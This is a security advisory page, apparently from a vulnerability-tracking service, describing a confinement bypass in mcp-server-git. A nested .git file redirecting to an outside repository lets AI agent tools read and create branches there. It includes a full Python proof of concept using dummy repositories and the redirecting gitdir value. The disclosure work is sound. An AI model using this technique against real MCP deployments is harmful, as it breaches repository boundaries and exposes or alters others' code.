MCP-SERVER-GIT · GHSA-w766-5x43-whvw · AI agents & MCP
FIX → 2026.10.28
When mcp-server-git runs with --repository confinement, a nested directory containing a .git file pointing elsewhere passes the path check and Git follows it, so tools operate on an outside repository. An attacker can read committed files from that outside repository and create branches in it, with the server's OS privileges.
first public Oct 28, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Teams running mcp-server-git in confined mode with --repository, especially where another tool can write files such as a .git file into the allowed directory. The attacker needs to be able to invoke tools and place a nested .git file, and must know or guess an outside repository path the server process can read. Deployments without --repository or without any write path into the allowed tree are less exposed.
Not affected if no-repository-flag, no-write-access-to-allowed-dir, version-2026.10.28-or-later
Who cares git, mcp, mcp-server-git, python, self-hosted
pip show mcp-server-git and compare the version to 2026.10.28.--repository and whether any caller can write files inside that allowed directory (for example through a filesystem MCP server).Upgrade to 2026.10.28
mcp-server-git: nested gitdir file bypasses --repository confinementReport date: 2026-10-27
Reporter: ShieldPi
Affected package: mcp-server-git
Confirmed package version: 2026.10.19
Tested source commit: 82acf2aabf47bd462606a0d879e4849c26b2afae (v2/main)
Also affected: ef9808f71090d0db3eda99e2af2ba78f1086f4fb (main); the complete src/git/src/mcp_server_git/server.py file has the same SHA-256 at both commits (1756064c0bd498f0fa5065891b16f4203a54b210eec813f5d1948ac78780316a). Other versions were not assessed.
When mcp-server-git is started with --repository <allowed>, a caller can supply a nested directory inside containing a such as:
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
mcp-server-git 2026.10.28 (fixed version per the product data; the advisory's suggested remediation is not stated as the shipped fix).<allowed>.gitgitdir: /path/to/outside-repository/.git
validate_repo_path() accepts the nested directory because its filesystem path is inside the allowed repository. open_repo() then passes it to git.Repo(), which follows the gitdir indirection. Subsequent tool calls operate on the outside repository without revalidating the resolved repository.
Through the real in-process MCP interface, I confirmed that:
git_show with the outside repository path directly is rejected.git_show with the nested gitdir path returns committed content from the outside repository.git_create_branch with the nested gitdir path creates a branch in the outside repository.This bypasses the server's claimed repository boundary and permits unauthorized read and modification with the MCP process's privileges.
This is not claimed to be an unauthenticated standalone remote exploit. An attacker must be able to:
mcp-server-git instance;.git file inside the allowed repository, or cause such content to be placed there; andOne realistic setup is a deployment that also gives a filesystem MCP server write access to the same allowed directory. At the tested commit, the filesystem server's write_file path permits creation of a .git file within its allowed directories; it has no special .git exclusion. The finding does not depend on that companion server—any mechanism that supplies the nested gitdir file meets the precondition.
In src/git/src/mcp_server_git/server.py at the tested commit:
validate_repo_path(), canonicalize only the caller-supplied repo_path and check that it is inside allowed_repository.open_repo(), call validate_repo_path(path, repository) and then return git.Repo(path).Path.resolve() handles filesystem symlinks but does not interpret Git's .git file redirection. GitPython resolves that redirection later. There is no check after opening the repository to ensure that the repository actually selected by Git is the allowed one.
Relevant code:
def open_repo(repo_path: str) -> git.Repo:
path = Path(repo_path)
validate_repo_path(path, repository)
return git.Repo(path)
Use only temporary dummy repositories. The reproduction below uses the repository's existing connect and make_repo test helpers and the real in-process MCP protocol. Save it as src/git/repro_gitdir.py in the tested source tree, then run PYTHONPATH=tests uv run --frozen python repro_gitdir.py from src/git. On Windows, set PYTHONPATH to tests for the process using the shell's standard environment-variable syntax.
from pathlib import Path
import shutil
import tempfile
import anyio
import git
from conftest import connect, make_repo
from mcp_server_git.server import validate_repo_path
ROOT = Path(__file__).resolve().parent
BRANCH = "gitdir-confinement-bypass-proof"
async def main():
lab = Path(tempfile.mkdtemp(prefix="gitdir-repro-"))
allowed = outside = None
try:
allowed = make_repo(lab / "allowed")
outside = make_repo(lab / "outside")
(lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT\n")
outside.index.add(["proof.txt"])
outside.index.commit("dummy outside commit")
nested = lab / "allowed" / "nested"
nested.mkdir()
(nested / ".git").write_text(f"gitdir: {outside.git_dir}\n")
# The supplied nested path passes the confinement check.
validate_repo_path(nested, lab / "allowed")
redirected = git.Repo(nested)
assert Path(redirected.git_dir).resolve() == Path(outside.git_dir).resolve()
async with connect(lab / "allowed") as session:
# Negative control: the direct outside path is rejected.
direct = await session.call_tool("git_show", {
"repo_path": str(lab / "outside"),
"revision": "HEAD:proof.txt",
})
assert direct.is_error is True
assert "outside the allowed repository" in direct.content[0].text
# Bypass: read an outside committed file through the nested path.
bypass = await session.call_tool("git_show", {
"repo_path": str(nested),
"revision": "HEAD:proof.txt",
})
assert bypass.is_error is not True
assert "DUMMY-OUTSIDE-CONTENT" in bypass.content[0].text
# Integrity impact: create a ref in the outside repository.
write = await session.call_tool("git_create_branch", {
"repo_path": str(nested),
"branch_name": BRANCH,
})
assert write.is_error is not True
assert any(head.name == BRANCH for head in outside.heads)
print("CONFIRMED: direct path rejected; outside read and branch write succeeded")
redirected.close()
finally:
if allowed is not None:
allowed.close()
if outside is not None:
outside.close()
shutil.rmtree(lab)
anyio.run(main)
{
"package": "mcp-server-git",
"version": "2026.10.19",
"source_commit": "82acf2aabf47bd462606a0d879e4849c26b2afae",
"direct_outside_path_rejected": true,
"nested_gitdir_path_accepted": true,
"outside_commit_content_read": true,
"outside_repository_modified": true
}
All test repositories and data were temporary local dummies and were deleted afterward. No third-party service or real repository was accessed.
A caller who meets the preconditions can cross the configured --repository boundary. Confirmed impacts are disclosure of committed files and modification of refs in another repository. Other exposed Git tools may perform additional reads or writes on that outside repository with the server's OS privileges. The demonstrated branch creation is an integrity violation; this report does not claim arbitrary host-file write or code execution.
In confined mode, do not allow Git repository discovery to escape the explicitly allowed repository:
.git file indirection by default when --repository is configured, unless there is a documented safe policy for it.repo_path string.repo.git_dir be physically beneath the allowed worktree could break valid worktree layouts, so the policy should bind an allowed repository/worktree relationship rather than perform only a naive git_dir prefix check..git files, and legitimate linked worktrees. Include both read and write tool tests plus a direct-path negative control.Please keep this report p